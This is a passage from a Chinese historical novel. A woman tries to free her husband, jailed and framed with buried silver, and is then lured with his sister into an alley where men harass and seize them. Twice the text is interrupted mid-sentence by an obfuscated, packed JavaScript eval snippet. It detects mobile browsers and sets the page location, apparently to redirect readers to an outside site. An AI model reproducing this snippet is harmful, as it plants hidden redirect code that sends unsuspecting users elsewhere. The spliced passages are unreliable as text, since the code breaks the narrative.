“肯定是有人事先放进去的。”柳乐冷笑,想了一想,说,“就算一日带一锭,也有两百日,大半年这么久,银子藏在哪里?难不成事先挖好了坑,每日丢进去一块?那么大一个坑,也不是轻易就挖出来。再说园子里经常有花匠等人进出,便是山石后头再不显眼的地方,也不可能成日挖开又盖上而不被发现。母亲,绝对不可能是晨大哥,也不是春大哥。要是没这一万两,我心里还乱乱的,如今反倒有底了。若他们找的就是这一万两银子,那显然是有人陷害咱们——谁指使人把银子放进去,谁就是陷害咱们的人。” “是谁?——咱们可没得罪过人。”董素娥白了脸,嘴唇颤抖起来。 “银子到底是谁先发现,谁挖出来的,若能当堂对证就好了。”柳乐一边思索一边说,心里想着要如何才能抓住这个人。可是一个疑点突然冒出来:只要说从计家挖出了赃银,不论多少,便是千金也够给计晨定罪了。这个要实施陷害的人,拿出三千、五千已经极多,为什么一定要破费一万两?除非他还想传达出一个意思——他对银钱根本不在乎,一万两在他是小意思,而且他还能避开看守,把小山似的一堆银子轻而易举地运进去、埋好。到底是何许人有这般能耐,难道他真的可以压住计家,让他们翻不得身? 柳乐也打了一个颤。 次日,柳乐先不急去刑部,又去了大理寺,门上人拦住她说:“你找的人刑部提走了,有事请往刑部去。” 柳乐忙问:“沈主簿在不在,能不能请他出来一下?” 小吏道:“沈主簿今日不在,明日也不在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726898|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “他去哪儿了?”柳乐惊诧道。 “这我可不知。”小吏扔下几个字便撇开了她。 柳乐一愕,感到事情不好:沈泊言初出茅庐,不晓得利害,别因他古道热肠,反害他丢了职,那真令她于心何安?计家到底惹上了谁,要对他们如此赶尽杀绝,连一个毫无干系、只是仗义相助的青年都不肯放过? 她连手脚都冰凉了,在大理寺外徘徊了一会儿,忽地看见昨日为沈泊言传话的小吏从门口出来,急忙上前。 对方也是径向她走来,近了悄声道:“我就想着夫人这时恐怕过来。——沈主簿要我转告夫人,别在这里耽搁,恐怕没用了,请夫人直接去刑部,计大人和他兄长都已经提到刑部去了。” “沈大人去哪儿了?”柳乐急问。 “庐州府有几件案子,把沈大人派去了,今早上刚走。沈大人走得太急,没法给夫人留书,差我留神看着,等候夫人过来。” “沈大人经常出去办差?每次去多久?” “沈大人出京办差是常有的事。多不过一两个月,这回大概也是。” 柳乐的心这才落下,向他道了谢,转身去探刑部。 刑部的大门比大理寺更宽,院子比大理寺更深,门上的人两只眼睛也吊得更高。柳乐冷眼看着,等柳图过来。她已和哥哥说好,今天就在刑部门口碰面。 过了一会儿,柳图到了,摇着头说:“才刚刚转到这儿来,我还没打听到该找哪位大人,吴大人家里的买办那儿没探到东西。不过管狱的人是叫许冕,有个朋友认识,大概能和他说上话。” “没事,我就去问一问。” 如今柳乐胆气更壮,走上门就问:“计正华和计正辰可是在这里收着?案子归哪位大人管?” “人是在这儿,其它事我们不知。”两个人倒是颇客气地说。 “我们是家人,要去探望,送些衣物,请你二位回许大人一声。” “不必回了,许大人在里面,你们直接进去找他吧。”说着,便指给他们位置。 当下,柳乐、柳图见到了管狱的,柳图递上朋友写好的信,这许冕展开看一眼,忙向柳图打躬:“久仰久仰!一向少会,劳动柳大爷了。” 柳图和他客气几句,说:“许大人事忙,不多扰了,今日是为家妹的事来。请看在叔宏兄面上,行个方便,让家妹见一见我那妹夫。” 许冕苦笑着说:“柳大爷有吩咐,在下敢不照办?更别论高三爷和在下的交情。这里现今涉重案的案犯有二三十人,都不准探望,但若是别个,在下还能想想办法,唯独令妹丈这件案子上头特别有令,实在办不到。别说你们,我和他打个照面都难。” 说来说去,刑部还是来这一套!柳乐生气又失望,可是许冕客客气气的,又有哥哥的朋友在内,不好冲人家发火。柳图仍笑着问:“送几件东西都不行?” “也不是不行,只是在下交不到令妹丈手里,也是要先递给别人,恐怕要仔仔细细翻检过才给拿去。若不介怀,我倒是能给你们转交。” “还有一位我妹夫的兄长,他也不准见?两人是关在一处吗?” “他们是分开的两间屋子,但两个人是一般的,都不准见,不诓你们。” 18. 灰心与黄府 柳图陪笑道:“许大人一看就爽快,既说做不到,那定不是哄人。其实我们就是想得个实在话,知道了,好安心在家等着。” 许冕说:“对,对,正该如此。我是诚心替你们打算,请令妹以后不用往这里跑了,来了也见不到,不如把心放宽,多等几日。我看,案子审一审,没什么大事,过几日也就可以放人了。” “是哪位大人审?” “是吴大人亲审。今天吴大人已经把令妹丈与其兄提上堂一次了。” 柳图忙问:“可是为宅里挖出银子的事?可审出结果了?” 许冕点头:“在下估摸也是审问银子这一节。毕竟不是个小数目,大概要多过几堂,才能审清楚。” 柳乐忍不住说:“越不是小数越好查清楚,这么多银子,到底是谁给的,经谁的手,在哪一日?昨日刚挖出银子,今天便找到行贿赂的人了?若没找到,审多少次也没用,难道定要我们屈招?” “在下不知,实在不敢说。”许冕可能不惯和女子交道,脸上显出几分窘色,“不过吴大人审案用不着担心,滥用刑罚,没见过的事。” 这时来了个小吏,站在门前向内探了探头,口里咳嗽两声。“就来。”许冕冲他答应着,如释重负般向柳图道,“在下还有些小事,少陪了。放心,只要在下说话还管用,保证不让令妹丈在这儿受罪;探望的事在下也尽力想办法,等有法子了,一定知会尊府上。” 柳图和柳乐出来,唉声叹气说:“那高叔宏爱个古画,我把爹那幅巨然给他拿去,他才答应帮忙。我想着他和许冕相熟,事情有门儿,谁知还是见不着,早知不送了。” 柳乐才知是把父亲收藏的宝贝送了人,心里又感动又心疼又生气,可东西已经要不回了,她只好劝慰柳图:“其实还是有用,他答应不让晨大哥受罪,只要人没事,总有个青红皂白出来。再说总算有进展,总算让咱们知道案子开始审了,比前头空关着人一事不知强。” “那是那是,我瞅许冕人倒实在,料不敢撒谎,你也好放心,我回去也告诉爹。”柳图点头说,过一时又叹道,“许冕到底只是个管狱的,他要听命于吴大人,吴大人咱们买不动、攀不上。——可惜爹教的学生虽不少,真正做了官的没几个,就有个郑光礼,偏又不是京官,远水解不了近渴。” 柳乐素来厌烦这些话,仿佛只有做官才能显出一个人的成就,连带将父亲教书育人的苦心都贬得低了。可是经了这段时日,她的想法不禁已有些动摇:你以为洁身自好,怎知别人不来泼脏水呢?世道逼着人们得时时自危。不幸真遇到事,莫说寻常百姓,甚至像计晨这样的官儿都不成,还要在朝中当权才行。——倘好人都不做官,岂不是把权势都交到坏人手中?就说现在手里握着权柄的那些官儿,不敢说一定坏,至少是不作为,要不然计晨不会蒙冤,不会这么久还洗不脱。可偏偏这些官员又叫别人满口称颂着,到底是谁错了? 反正,这一切实在让人灰心。 柳乐郁郁不乐回到家,把事情对董素娥等说了。这两天,全家人来来回回都在想那一万银子——荥阳离得太远,银子可是从自家院中挖出来的——到底怎回事?先前谁都说不明白计晨哪里行岔了,可是一万银子仿佛会敲锣会打鼓,一夜间,人人都听见计晨收了赃。亲友们再来时,说话已很不客气,仿佛计晨罪名坐实了一般。因此,计家越发着急,可是刑部审案还是没审出个究竟。柳乐到处又跑了几趟,到处都碰了软钉子;这么过了几日,董素娥实在耐不住了,本来她不愿上街,更怕去衙门,可现在呆在家中也不好过,不得已,她和高娴一起去了一趟刑部。 回来后,董素娥见了柳乐,没好声气道:“你怎么说不给见?我们今天去见到你大哥了,他说见过晨儿。” 柳乐一愣,又一喜。她晓得婆母疑她不上心,没有尽力办事,可自己问时,人家确确实实都一口咬定绝不能见。虽奇怪,但不管怎么说,见到计春是好消息,她的心里轻快了些,忙问:“计春大哥还好么?” “好什么呀,瘦得多了。”董素娥说,高娴在一旁抹着眼泪。 柳乐顾不上安慰,急着问:“他是什么时候见了晨大哥?” “就是去刑部的头一日,只见了一面,都没说上几句话。他说晨儿也是瘦了,别的倒没什么,并没受刑。” “那就好。晨大哥有没有说什么,比方他知道谁会陷害他?” “春儿说见到晨儿时,还不知道银子的事,便没问,他说肯定和晨儿没关系。他们统共说了没有三句话,晨儿说他没做错事,让他哥哥见到我们时转告,还说若将来判了罪,让你家去,另寻个好归宿。” 柳乐心里一酸:这种时候他还要为她想,怕她抛下他还是怕她不抛下他,要说这种话? 董素娥嚎啕地哭起来:“莫非他是想着出不来了?我的两个儿啊,真要有个三长两短,好歹给我计家留下个根苗,不然,计家绝了后,我可怎么见列祖列宗哪。” 高娴和柳乐互相看看,也讲不出话来劝。 . 所谓急病乱投医,为计晨的案子,亲友当中但凡有一官半职的,无论是不是沾边,计家都找过一遍。甚至于高娴有位远房表亲是太仆寺的马医,简直八竿子打不着,给董素娥一句:“说不定有门路呢。”力逼高娴带着礼登门去求。 近来,董素娥见了计春一次,可后来再去又怎么也见不着了;一万两银子也没有下文,连计家住宅都无人提出归还。董素娥急得发疯,不管谁能说上句闪闪烁烁的话,就恨不得拿他当个救星。为求人办事,连计晴的金饰也卖了个光,柳乐因从娘家拿了几回钱,便把首饰都交给哥哥暂为保管,权且称作入了当铺。 柳图向妹妹提醒过几次:要拜就拜真佛,拜这些小鬼不但无济于事,说不定哪个从中捣乱,还适得其反。柳乐倒不担心,求人多了,她也知道这里边一大半根本就没想帮忙,不过白收着礼,陪几句安慰话;即便哪个有心捣乱,最多是要趁机多捞几个钱,真没人能够左右得了案子。 可她也想,到底谁称得上真佛,且她能拜得 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这件事——还不知能不能成——柳乐打算自己办,不愿董素娥插手,因此她谁也没告诉,只向柳图打听了黄府所在,备好帖子,一人雇车过去了。先到正门前,见大门闭着,又到角门边,也关着,上去敲了门,半日才有个小厮出来,一话不问,傲慢地说:“老爷不在家会客,上衙门找去。” 柳乐连忙递上拜帖:“请上覆你们夫人。” 小厮低一低眼皮,并不接帖子,“夫人今天不会客。”话音未落,转身进去将门关了。 柳乐气得发怔,又自悔没及时拿出银子,明知这些管门的多数难缠。立了一时,无法,只得又绕到黄宅后头。后面一个小门倒是开着,柳乐等了一会儿,见一个胖大姐儿出来,踩在门槛上摇摇摆摆嗑起了瓜子,急忙上去问:“你们夫人在不在家?” “哎呀,可吓我一跳。”那大姐儿抚着胸,大声嚷嚷,“你打哪儿出来的。” 柳乐怕引来人,赶紧把她拉到一边,“你们夫人约我来,我有事来早了,请你帮我递个信进去。”一面说一面把名帖和一块银子都塞在对方手中。 那姑娘好奇地打量了柳乐半天,面上露出些笑,“不是今天罢,今天夫人不会客。” 柳乐听她也说一样的话,不禁失望,勉强笑道:“不是今天,但我有要紧事要与她说。你先帮我拿给夫人,夫人实在不得闲就罢了。” “我是灶上的,不管会客的事,我只能拿给封嬷嬷,你在这儿等等。”丫环说。 “别给封嬷嬷。”柳乐唤住她,“你帮我交到夫人手里,她肯定不会怪你。” “我试试吧。”那丫头手捏着帖子,犹犹豫豫地走了。 柳乐在门旁静静站了一炷香工夫,方见一个大丫头急匆匆走来。柳乐看她面熟,想起那天在花园亭子里就是她来喊谢音徵的,这丫环好像也认得柳乐,走近了说:“你跟我来。”便领她到后罩房中的一间,打开门,“夫人请你在这儿稍坐一坐,她就来。”转身出去,须臾回来,端来一盅茶,又急急忙忙走了。 19. 防范和办法 柳乐打量一眼房间:屋子很小,没摆多少东西,桌椅已占去一半,另半边是一张窄床,看来可能就是刚才那丫环的屋子。柳乐正思忖此来给谢音徵添了许多不便,就见谢音徵本人迈着十分轻捷的步子走进屋。她向身后飞快看一看,半掩了门,“柳妹妹。”她招呼柳乐,解释说,“我婆母在前头坐着,来了客人都要问的,她老人家话多,我恐怕你有急事,就不让你往前头去了。” 谢音徵满面显出羞愧之色,柳乐只作没有注意。她自己本来也非常焦急,于是顾不得多客套,直接说明来意:“姐姐不用客气,咱们都不是爱讲虚礼的人。我确实是有急事才来打扰姐姐,是为家夫的事。 “姐姐可能听说过,家夫计正辰任工部员外郎一职,今年二月初奉命往河南荥阳去督建水坝,七月末回京,刚进城便被关押了,至今我还没有见到他一面,也不知他究竟所犯何事。官府衙门只说水坝牵涉私采铁矿等事,家夫参与其中,其余一概不告知我们。又封了家宅搜查赃物,已有一个多月,前两日刚从花园里挖出一万两现银,要把这个认作受贿物证。 “但这些银子决非家夫所收。我……我怀疑是有人着意陷害,希望官府能够详察,可是从一开始衙门便一味敷衍我们,很多事情都含含糊糊,不清不楚。” “难怪你着急。”谢音徵抓住柳乐的手,同情地望着她,“你还没有见到你丈夫?” “没有,他们不许,说怕有同党通了消息,而且连家夫的兄长也被关了,我公公因此事气得病了,这才例许在家调治,不然也要收在监牢。” “这实在太不合道理。”谢音徵蹙起眉,想了一会儿,“这事我确实听到过,但所知不详细。既然那一万两银子是后面才找到的,且来处还存疑,那先前是何人状告计大人,又是凭何证据呢?” 柳乐悲愤道:“至今还不知证物何在,我不服气亦在此处。整件事连我们也都是朦朦胧胧,我把我所知的告诉姐姐:家夫在工部一向研究水利工程等事,他绘有一套水坝图,为此得了这件在黄河上建坝的差事。 “家夫向我说过,水坝建造工程浩大,先前准备了很久,各项事宜皆有专人负责,大都是当地官员;而家夫的差事是交代他们按照图纸建造,家夫说他在那边一人不认识,所以临去前还有些忐忑,怕不好交道,耽延公事。不过从寄回的家书看,似乎并未遇到头疼难办之事。 “工程首期必要的事结束后,家夫便归京了,派去接替他的是工部的王大人。家夫离开后,王大人发现工程用料不足,找出几个担干系的人,他们却咬定是家夫知情并授意的,因此,后续又有私采铁矿私通外邦等罪名也都落在了家夫头上——不说其它,单只工程材料一事,查证不难,只要把图纸、用料清单一一比列,计算出来若是对不上,又有家夫押字,便不是撰造,可算是由他授意。岂能没有真凭实据,只靠嘴说? “如今且不明是否查访得实,只知道先是把家夫下在大理寺监牢,等待人证到齐当堂对质,最近听说相关人已从荥阳押解到京,家夫被转到刑部监牢关押,要由刑部审讯。只要能公道审案,不管哪里审都行,可是偏偏这时候又冒出了一万两银子,我认为是有人故意趁审案之先栽赃,意图混淆视听,干扰审讯。而官府又始终是支支吾吾,我怕中间有不公道处,我想,黄大人或许……” 谢音徵一边听,一边思索,突然间脸色一变,打断道:“你觉得其中有冤情,要向黄……要向家夫申诉?” 柳乐说:“案件未结,我也不好说有没有冤,只是怕等到判出结果再申诉就太晚了,况我们不懂官府行事规则,现在全无一个头绪,我想黄大人在都察院,或许知道此案,因此冒昧来求告。” 谢音徵黯然摇了摇头:“家夫的公事从不向我说,他也不愿我过问,这件案子在都察院是不是分给他管我都不清楚。其实我在家里,并说不上话,不过即使我去,或者任何人请求他,恐怕都没用。家夫眼里是不认得人的,他只按自己的想法做事。” 她说着,看见柳乐神情,忙又道:“我试一试,我先问问他,要他知晓此事。若是在别人那儿办,请他和人家说一句,若就在他手上,他是会秉公处理的,要他多多留心一下总不为错。我想这样多少也有些用吧。” 柳乐本已失望,听见这话却是意外之想,感激万分地说:“只要黄大人从旁问一句,他们知道,必不敢乱做手脚,这便是帮了大忙了。” “你先别太——你先别太着急,等家夫回来,我看他心绪好时对他讲。不过,万一他不听,还得另想个办法……”谢音徵凝眸沉思,忽地站起身,眼睛闪闪发亮,“我知道有个人,应该能帮上忙。”她顿了下,颊上现出一团激动的红晕,“你大概不识得他,这样,我这就写一封信,你带去给他。” 话刚说到这里,一位婆子推门进来,嗓音洪亮地说:“夫人怎么来这里了?快回去吧,等下老太太问起来,我没话答。” 柳乐见她有些年纪了,穿戴不凡,心想她必是上回谢音徵说过、也是刚才丫环口里提到的那位封嬷嬷,忙起身。 谢音徵的脸先是变得雪白,跟着一下子涨得通红,“我刚才回过老太太,说我坐得身上乏了,要出来走一走,她也没有不许我,嬷嬷不用这么着急来催。” “那夫人来下人房间做什么?我陪夫人走走。”婆子伸出手,作势去扶谢音徵。 “封嬷嬷!”谢音徵喊了一句,咬住下嘴唇,“我这里有客人说话,你先出去罢。” “今天不是会客日子,哪来的客人?怕是来求情的吧。”封嬷嬷斜瞟了柳乐几眼,“真有冤屈自然敢往衙门去投状子,何必来家里说。谁不知夫人心软,不论好歹 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“先前闹出了一两桩事,惹来好大的麻烦,这才防得森严了,不许那些乱七八糟的人上门。不可不防啊,多少双眼睛盯着老爷呢,你们一场闲话,要被有心人听见,又做了诬蔑老爷的口实,你是不晓得这里头的利害。” “嬷嬷不要小题大做危言耸听,”谢音徵面露愠色,“这位是我多年的好友了,想念不过,邀她来叙叙话,扯那些没相干的做什么?” 封嬷嬷哼笑一声:“别说长年累月的朋友,哪怕是从小一处长大了的亲戚,也是各家人管好各家事。老爷那个亲亲的兄弟,在外头吃喝嫖赌地胡来,老爷允他上门么?不是照样和他断了关系?” 谢音徵浑身发抖,喊道:“这是我的朋友,如何与闲人无赖作比?” 柳乐不是头一回受言语之辱,以为早把心肠炼得刀枪不入了,此番还是气得面色发白,她不愿谢音徵为难,急忙说:“嬷嬷说得不错,咱们虽是无心之言,只怕那些小人听见了,难免要故意曲解,拿去做个骂人的把柄,还是少说为是。天已不早,我该回去了。今天见到谢姐姐,能诉诉心事,这心事便已消了一半,姐姐别再为我挂虑,自己也要多保重。”最后一句,她是真心地说出来。 谢音徵点点头:“我送送你。”说罢,出了屋子,带头向后门走去,柳乐跟上她,封嬷嬷也跟了出来,一路陪在旁边。 一面走着,谢音徵对柳乐说:“你放心回去吧,衙门一定能公正办事,我若干预,怕反而把事情弄坏了。” 快到门口时,柳乐停住脚,“谢姐姐请留步,不劳远送。” 她又向封嬷嬷笑一笑,刚转身,谢音徵突然跨前几步,靠近她,小声地、飞快地说:“我刚说的那个人是晋王爷。我不能写信了,你自己去找他吧。——别提我。” 然后,她扶门站定,笑道:“今日未能尽情交谈,实在对不住,妹妹空了一定再来。” 20. 犹豫和深巷 在黄家见过谢音徵回来,柳乐心里反更愁闷烦乱了:一是因为那个封嬷嬷出语伤人,还不知事后会不会告恶状,让谢音徵受气;二是因为从那满口清正,却又鬼鬼祟祟、蛮横不近情理的刁嬷嬷身上,柳乐觉出黄大人也难算个好人——连好人且称不上,如何能做个好官?指望他细问案情就不必提了,而谢音徵嫁给这么一个人,柳乐不禁还要替她叫屈;三是因为谢音徵说出一个晋王爷。 柳乐心想谢音徵那么聪慧,唯独在此处有些糊涂,她太相信晋王爷了。 可柳乐不信,所以拿不定主意要不要去。和找谢音徵不同,求王爷说情,她感到有些别扭,想到要上王府,她不由心里发怵。 自这求人不求人上,她又想到“同声相应,同气相求”一说,心道:或许谢姐姐看到的晋王爷与我看到的,果真不是一个人。她看到的那个,与她同声同气,我看到的这个,我与他却是话不投机半句多。谢姐姐不知道王爷已经嘲笑过我和晨大哥,这也难怪,她毕竟对王爷有情,他们又是表兄妹,打小就认识。若我去了,八成只落得一场羞辱。——若真管用,羞辱几句算什么?反正没别的法儿,倒不如碰碰运气。看在谢姐姐面上,王爷未必不答应帮晨大哥,可是谢姐姐又说不要提她。唉,我找去她家里已经够让她为难了,得小心不能再给那起小人送话柄。但不提的话,我用个什么由头,王爷真肯帮忙? 柳乐思前想后,想了一天,委决不下,这时她正在屋内坐着,计晴匆匆忙忙地跑进来,四下里乱看:“你这里有人没有,巧莺呢?” “没在家,她出门去了,怎么?” 计晴却关上门,把柳乐拉至屋内,悄悄说:“刚才赵姑娘,就是上回去谭家拜寿时你也见过的,赵家二小姐,她叫丫环来告诉我,说可以让我见到二哥。”说完,焦急地觑柳乐神色。 柳乐听这话出乎意料,忙问:“慢慢说,怎么见?” “她一个哥哥在东城兵马司,这些天得到消息,说要把二哥带去一个地方,由他们出几个人路上接送,到了看守一日,完了就转去别处。就是趁他们自己人看守时能让我进去见。只后日一天,过了这个村,就没这个店了。” “怎么,要把你哥哥带去哪儿?”柳乐心里一咯噔。 “倒不是为别事,只是最近刑部牢房里又进了一批犯人,挤不下了,所以给哥哥换个地方,他们也不知道详细。” “挤不下就快放人啊。”柳乐哼了一声,想想又问,“告诉母亲没有?” “没有,赵姑娘让我别告诉人,自己一个人去。” “那怎么行?” “她说人多了不成,一来怕走了消息,二来怕到时不好带进去。我想母亲她恐怕沉不住气,说不定喊叫出来,或者见了哥哥,要她走时又不肯走,岂不坏了事?可我一个人无论如何不敢,我想还是咱们两个去。” 柳乐想了一想,“究竟可靠吗,要是被人发现会怎样?他们也得担干系吧,怎么肯帮我们?” “赵姑娘和我算是要好,她说她哥哥知道二哥的事,替咱们不平,愿意帮忙让咱们试一试。他们也怕担干系,所以要保证妥当,咱们去了未必真能见到。得瞅机会,快快进去见一面,说几句话;若不成,只好原路回来。成与不成,最多五五分。” 柳乐听这几率不高,看来对方也很谨慎,便动了几分心,又问:“在哪里会面?” “樱桃巷后面胡同里,有车等着,带我们去那地方,等见完了,还送回樱桃巷。” 柳乐没去过樱桃巷,不过隐约记得那里很僻静,正在东面,是东城兵马司所辖之处。她想,既然有这么个机会,何必放过呢。想起衙门里那帮人的敷衍之辞,她心里暗自哼笑:不是不准见吗,我倒偏要见他一回。 不过柳乐也并不全为赌气:虽然见不见面影响不了案子,可是计晨被关了那么久,能见见家人,对他想必是个很大的鼓舞;就算见不着,多一场失望也没什么,反正整天白跑,早就习惯了。 计晴紧张又期待地看着她。 “咱们去。”柳乐说。 最近家里忙乱,董素娥时常想起一事,看见谁就支使谁去,一会儿又记起别事,再随口指派另一个去,早已没有各司其职一说,大家只管乱哄哄跑前跑后,进进出出,也无人理论。柳乐和计晴只回了一声要去买几样日用之物,董素娥便挥手让她们去了。 两个人上午出门,雇了车,行了多一半路程后下车走去。她们穿着不显眼的旧衣裳,低着头步履匆匆,等走到巷口才停下歇歇,两人鬓边都见了细汗。柳乐拿手在脸前扇着风,尽力向巷子里望去。樱桃巷不像它的名字那么可爱,只是条乏善可陈的巷弄,两面的宅院或许静雅,但都给高高的院墙围着;道路不窄,但并非完全直来直去,不能一眼望到巷底,只知道出了巷子就是城墙——此处已是东城边上——行人很少。 转过一道弓形弯,果然看见路尽头停有一辆黑色马车,轿厢朝后对着她们,马儿与车夫都瞧不见,周围一无人影,简直连个活物都没有,只见城墙黑沉沉横亘在前头。 半是为消除紧张,柳乐小声说:“这些院子有人住着没有,也不像是废弃不用的,这样静静悄悄,都不出门么?” 计晴也闹不明白:“可能是那种性子乖僻、不肯和人打交道的人,或者整日吃斋念佛,年迈养静的,大概就住这里。” 其实两个人想过头了。这一带宅子的屋主绝不孤僻,反而春风得意、左右逢源——既有身份,又有银钱的人往往如此;他们也绝不老迈,不然无论昏聩还是睿智,早做了一家之长,说一不二,何须另置外宅?只有那些富贵家族中的青年子弟,得了个女子,或嫌高堂管束,或惧娇妻生妒,或怕美妾拈酸,故此不肯让家里人知道——看中这里靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766248|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城廓,又远离城门,清静,便将人悄悄藏在这儿,只雇两三个谨慎的人小心服侍、看守门户,自己不定三天五天乘空过来一趟,亦是轻车简从,除了偶邀一二至交,不肯惊动了旁人。 因有这些人庇护,泼皮闲汉们不敢到此生事,连卖瓜菜的小贩也只在固定的时候来,平日里这一二条街竟大有人迹罕至的意味。 男主人不在时,小娘子扶着丫环在院里闲步,消磨时光。无需打探,她们对左邻右舍的境况心知肚明,同时又漠不关心,懒得打探。心知肚明,因为她们看看自己,便可推及邻人;漠不关心,因为她们连自己明朝的归宿还得不了确实——不定一夕之间便易了主,好点的话连同宅子一起,能省去搬家的工夫——哪还有闲情为别人操心。 但也不是尽然,还有一两户特殊些,比如一家里是个体面、有身份的太太,带着四、五个姑娘,早晚锁门闭户,深居简出。姑娘们大门不出,二门不迈,只在屋里做几色针线,读几页书,写几篇字,从来没让外头的男人瞧见过。 一般的正经青年,看见是这样规矩严整的人家,路过时都不敢抬头,免得造次,可偏生就有些不懂事的下流种子,至晚便摸过来,按当日日期,在后巷几长几短地叩门。即刻便有人来开,门关上以后,院子又恢复了宁静,里面的事情除了当事人,谁也不清楚。只能大胆猜测一番:对有些人来说,夜探幽闺比起往秦楼楚馆寻求欢爱,一定别有一番刺激——每天入夜时分准时响起,无一日空歇的叩门声就是明证。 这一切柳乐闻所未闻,计晴一个未出阁的闺女,自然也无从知晓。两人心里直打鼓,甚至猜想这便是那秘密羁押之处,也许计晨此时就在某间屋子里。 如此一想,一列列屋檐愈发显得阴沉、不详,但她们勇敢地朝前走去。 车门忽地打开,一人探身出来笑道:“来了。” 几人闻声从拐角处转出来,和车上那人一共四个,都不上三十年纪,均作便服打扮,身穿花花绿绿簇新鲜亮罗缎褶子,头戴小帽,一人手里还捏着把折扇。 计晴看对方全是男子,且没个年高可敬的,不禁羞怯不前。 柳乐也瞧这些人年纪太轻,且衣饰浮华,根本不像办正经事的样子,疑窦顿生,拉着计晴在路中停下脚。 来之前,她们已把事情翻来覆去地盘算了几遍:见到接应的人,如何看他们安排行事;如何小心谨慎,不多说多瞧;见了计晨,别只顾着抱头伤心,该讲哪些要紧话;也防备着临时遇着意料外的事。但她们以为至不济就是白跑一趟,却没想到一上来碰见的是这么样几个人。 其中一个已一步跨上前招呼道:“二位果然准时。这边请。”他生了一张虚胖的脸,两腮微微下坠,五官大而显得松垮,但已是这帮人中长相最顺眼的了,其他几个眉奸目诈,嚣张跋扈,几双闪着贼光的眼睛在两人身上来回巡睃。 21. 血迹与笑容 “去哪儿?哪一位是赵大哥?”柳乐稳稳神,问道。 “我就是。你便是计兄弟的小娘子?”对方一双无神的大眼忽然射出兴奋的光,嘎声笑起来,红彤彤的脖子粗了一圈。“站着说话不方便,请二位进屋去细细商议。” “不方便我们就先回了。”柳乐见他竟然就是赵姑娘的哥哥、号称在兵马司做指挥的,悔之不及,只想尽快离开。 “那哪成,我们是诚心要帮忙,哪能劳二位空跑一回。你看,车子都准备好了,等办完事情,见了人,原送你们回去。” “我哥哥究竟在不在这儿?”计晴问。 “保证让你见到,进来说,进来说。” 柳乐拉住计晴连倒几步,赵指挥身后三人却一步步逼上来,一个半圈将两人围在当中。 柳乐一时想不出如何顺利脱身,怕撕破了脸对方强拦,因故意环顾四周,问:“请教诸位,拙夫此时便在这附近,何时能见他?” “计兄弟不在这里,这是我们平日避静的几处蜗居小室。二位不肯赏我个脸儿,对面就是这位常二哥的院子,先去他家里坐坐?”姓赵的指指身边一人,那人站出来,哈哈笑着说:“在下常琨,亦在兵马司效力,欢迎嫂子和姐姐往寒舍小憩。——此时还早,过了正午,等人都困乏松懈时,正好换上我们的人,好让你们进去探视计兄。” 柳乐便说:“多谢几位。我们原想简单了,以为即刻便能见到,若如此不便,不敢要诸位劳碌担险,宁可不见罢。” 常琨换了副脸色:“哥几个一早就准备了,上下打点,搭进不少人情工夫,因为听闻计正辰是个值得结交的朋友。谁知嫂子不拿我们当自己人,答应过的事,如何又作罢?” 柳乐忙道:“我们妇人家晓得什么,愚笨不识敬重,大哥勿要见怪。既然已打点清楚了,怎好让几位大哥用心白费,今天果然能见就最好不过,感激厚意不尽。只是还有几个家人随着一起来,现在巷外头等着,见我们去得久了,怕着急乱找进来,我们先去招呼一声为好。” “小事小事,不用你们着忙,我让人去巷口望望。”姓赵的笑道。 “家人得了嘱咐,要谨慎行事,见了不认得的人,未必轻信,万一又生出事端,还是我们去一趟。” “要不然,你们拿件东西——身上有没有带着一块帕子,或者拔一只簪子,给他们看了还不信?”常琨色迷迷地往柳乐全身看了一圈,其他几人都嘻嘻笑起来。 柳乐再不和他们多话,拽着计晴拔腿就走。 一人揪住计晴,“过来呀,好好听哥哥一句,事情有门儿。” “你们斯文着些,别逗人家。”姓赵的假意去拉,“别走别走,听我说:我们几个还做不得主,有位长官在里面,他怕放了同犯进去互递消息。你们是计正辰的亲眷,自然无事,只是需他大人亲眼确认过方能准。怎样,进去见一见,取了令牌,接着咱们就走。” 计晴吓得不知如何是好,不敢答应,又不敢不答应。柳乐喊叫说:“别信他们,光天化日截路不成,我们只管走。” 一人说:“咱们斯文说话,大喊大叫未免不雅,再喊可就捂嘴了。” 常琨说:“由她喊,这一片都是咱手下的兄弟们照料,喊不来别人。” “让你别着急吧,惹常二哥生气可就麻烦了。” “离了汉子半年,想汉子了,怎么不着急?” “计正辰倒讨好个鲜艳的娘子。” “别和我们见外,等我去对计正辰说,不怕他不拱手送你过来。” 四个人立在四面,把二人密不透风围住,一人一句,说出许多淫猥的言语。也不知是谁拉住计晴一条胳膊,又有人拉柳乐,就往院子里拖。 计晴大声哭叫。 “得了,别装娇娇小姐,这能算什么?”常琨恶狠狠、厚颜无耻地说,“等你们充入教坊,哥儿几个还要去关照。” “可不,先习惯习惯,怕什么,去了那儿,你们也是上等货。” 趁他们说话不备,柳乐猛挣开,一头撞出人墙,跑出几步转头想帮计晴时,她已被半推半拽拉入门里了。 常琨并不着急,对着几人说:“你们先去好生招待她,等我再劝劝那个。” 柳乐抓起裙子回身就跑,一眼瞧见前面一道门开着,门口站着人,正张望。她心想这里住的全是恶人,不论被拉进哪里都逃不脱,无暇细看,发足向巷外奔去。眼见跑出一多半却被常琨追上,狠狠揪住胳膊。 